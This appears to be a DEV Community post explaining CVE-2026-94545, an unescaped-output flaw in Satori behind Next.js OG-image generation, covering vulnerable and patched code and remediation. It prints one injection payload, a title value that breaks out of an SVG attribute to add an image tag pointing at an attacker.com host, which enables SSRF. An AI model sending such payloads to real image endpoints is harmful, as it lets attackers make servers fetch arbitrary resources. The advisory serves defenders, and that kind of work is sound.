DEV Community

GUIDANCE WHITE
GUIDANCE WHITE

Posted on

CVE-2026-94545 Explained: What Happens When an OG-Image Generator Forgets to Escape

Overview

Item Detail
CVE ID CVE-2026-94545
Affected product Next.js next/og's ImageResponse (Node.js runtime); root cause lives in Vercel's Satori library
Affected versions Next.js 16.2.0 through 16.3.5 / Satori 0.0.27 through 0.33.4
Fixed in Next.js 16.3.6 / Satori 0.33.5
CVSS 9.5 (Critical, CVSS v4.0) — Satori's own advisory cites up to 9.8
Type CWE-116 (Improper Output Encoding/Escaping), with downstream potential for CWE-918 (SSRF)
Authentication required None
Disclosed by Vercel's official security advisory (GHSA-wx4j-mvgx-mqwp), published 2026-09-22
Note Next.js 15 and the Edge runtime implementation are not affected

Next.js's next/og module generates Open Graph images — the preview cards you see when a link gets shared on social platforms — straight from JSX and CSS. Because it's routine to drop external input like a blog post title or a profile name directly into that image, this feature is almost always exposed as a public endpoint reachable with no login at all.

The core of this CVE is that a value went unescaped in the middle of the image pipeline (JSX → SVG). ImageResponse converts JSX into an SVG string internally through a library called Satori, and during that conversion, characters like ", <, and > inside attribute values or text were being dropped straight into the SVG string as-is. If an attacker supplies input containing those characters, what should have been "a piece of text" turns into "an entirely new SVG tag." That finished SVG then goes through sharp to be rasterized into a PNG by native libraries — libvips, librsvg, libxml2 — and when an XML document whose structure the attacker fully controls reaches those native parsers, it can lead to remote code execution with the privileges of the server process.


Where the flaw lives — from JSX to PNG

Here's the full path ImageResponse takes to produce an image:

  1. Application code hands JSX to new ImageResponse(<div>...</div>). That JSX usually contains external input — a URL query parameter, for instance.
  2. Satori parses the JSX and CSS and assembles an SVG string.
  3. The assembled SVG string is passed to sharp to be rasterized into a PNG.
  4. The finished PNG is returned as the OG image.
// Example application code
export async function GET(req) {
  const title = req.nextUrl.searchParams.get('title');
  return new ImageResponse(
    <div style={{ fontSize: 48 }}>{title}</div>
  );
}
Enter fullscreen mode Exit fullscreen mode

Here, title is entirely attacker-controlled. The problem sits in step 2 — the exact moment Satori turns that value into an SVG string.


Step-by-step source analysis

Step 1 — Satori interpolates attribute values and text into a template literal, unescaped

Before the fix, Satori's preprocess.ts serialized each SVG element's attributes using a plain template literal:

// src/handler/preprocess.ts (before the fix, vercel/satori)
const attrs = `${Object.entries(restProps)
  .map(([k, _v]) => {
    if (typeof _v === 'string' && _v.toLowerCase() === 'currentcolor') {
      _v = currentColor
    }
    return ` ${ATTRIBUTE_MAPPING[k] || k}="${_v}"`   // _v inserted as-is
  })
  .join('')}`
Enter fullscreen mode Exit fullscreen mode

Text nodes received the same treatment:

// src/handler/preprocess.ts (before the fix)
if (typeof node !== 'object') return String(node)   // stringified, never escaped
Enter fullscreen mode Exit fullscreen mode

Whatever characters end up in _v (an attribute value) or node (text content), there's no step that turns ", <, >, or & — characters with special meaning in HTML/XML — into their entity equivalents. In other words, nothing stopped a value from being read as part of the markup instead of as data.

Step 2 — a " and > in the value break the attribute boundary and spawn a new tag

The code that renders a <text> element puts a value like title directly into an attribute. If an attacker sends:

title = A"><image href="http://attacker.com/payload.svg" width="500" height="500"/>
Enter fullscreen mode Exit fullscreen mode

the assembled SVG string, with no escaping in place, actually comes out as:

<text x="10" title="A"><image href="http://attacker.com/payload.svg" width="500" height="500"/>">...</text>
Enter fullscreen mode Exit fullscreen mode

The attribute that was supposed to end at title="A" cuts off right at A", and what follows — ><image .../> — is no longer parsed as an attribute of <text> at all. It becomes an entirely new, sibling-level SVG element. Put an external URL in <image>'s href and you get SSRF; break into <foreignObject> or <style> instead, and you open up a different parsing path. Which tag gets injected is entirely up to the attacker — Satori had no way to tell the difference.

Step 3 — the finished SVG reaches the native parsers through sharp

Once assembled, the SVG string is handed to sharp to be converted into a PNG:

// next/og internals (conceptual)
const png = await sharp(Buffer.from(svgString)).png().toBuffer()
Enter fullscreen mode Exit fullscreen mode

sharp doesn't parse SVG itself — it delegates to libvips, which in turn calls native libraries like librsvg and libxml2 to interpret the SVG. At this point, what Satori handed off is no longer "a picture description containing a title" — it's an XML document whose structure the attacker designed. Feeding that document to a native parser opens two kinds of damage:

  • SSRF, via an injected <image href="http://..."> that makes the server request an arbitrary internal or external resource
  • RCE, if the crafted SVG structure triggers memory corruption while librsvg/libxml2 parse it, executing arbitrary code with the privileges of the Next.js server process

Two conditions have to hold for the attack to work: ImageResponse must run on the Node.js runtime (the Edge runtime isn't affected), and attacker-controlled input must land in SVG content, an attribute, or a style. OG image routes are public by design, and sharp ships by default in most production deployments, including the official Docker image — so both conditions are satisfied in common setups without anyone doing anything unusual.


The patch — escape values, validate names

Satori 0.33.5 reworked the entire SVG serialization path to handle values and names through two different, purpose-built mechanisms.

// src/utils.ts (after the fix)
export function escapeXMLAttribute(value: unknown): string {
  if (
    typeof value === 'number' ||
    typeof value === 'bigint' ||
    typeof value === 'boolean'
  ) {
    return '' + value
  }
  return escapeHTML(String(value))   // string values are always escaped
}

export function escapeXMLText(value: unknown): string {
  return escapeHTML(String(value))
}

export function assertValidXMLName(name: string, kind: 'element' | 'attribute') {
  if (!VALID_XML_NAME.test(name)) {
    throw new Error(`Invalid XML ${kind} name: ${JSON.stringify(name)}`)
  }
}
Enter fullscreen mode Exit fullscreen mode

And the serializer, buildXMLString(), now routes every attribute through that escaping function:

// src/utils.ts (after the fix)
export function buildXMLString(
  type: string,
  attrs: Record<string, unknown>,
  children?: string
) {
  assertValidXMLName(type, 'element')
  let attrString = ''
  for (const [k, _v] of Object.entries(attrs)) {
    if (typeof _v !== 'undefined') {
      assertValidXMLName(k, 'attribute')
      attrString += ` ${k}="${escapeXMLAttribute(_v)}"`   // value: escaped
    }
  }
  ...
}
Enter fullscreen mode Exit fullscreen mode

Values go through escapeXMLAttribute()/escapeXMLText(), which convert ", <, >, &, and the like into entities — turning them into strings that can never break out of a tag. Tag names and attribute names (keys), on the other hand, can't be escaped at all by nature, so those go through assertValidXMLName() instead, which throws if the name doesn't conform to the XML naming spec. Escaping for values, validation for names — treating two fundamentally different kinds of input with the mechanism each one actually needs is the core of this fix.


Remediation

  • Update Next.js to 16.3.6 or later. If you depend on Satori directly, update it to 0.33.5 or later.
  • If an immediate update isn't possible, audit every path where user input reaches the JSX passed to ImageResponse. Where feasible, moving the affected route to the Edge runtime, or running it in an environment without the sharp dependency, can serve as a temporary mitigation — though neither is a substitute for the real patch.
  • Since OG image routes are inherently meant to be public, a WAF rule that temporarily blocks requests where image-generation query parameters (title, description, etc.) contain ", <, or > can help in the interim.
  • If there was a window of exposure, check outbound request logs for signs that a sharp/librsvg process reached an unexpected external host — a possible indicator of SSRF.

Top comments (1)

Collapse
 
alexshev profile image
Alex Shev •

The affected-runtime distinction is helpful. In addition to upgrading, I would add a regression fixture containing hostile title and URL inputs and assert that the image-generation route neither fetches unexpected hosts nor emits unsafe markup. That gives teams a durable check when templates or Satori versions change later.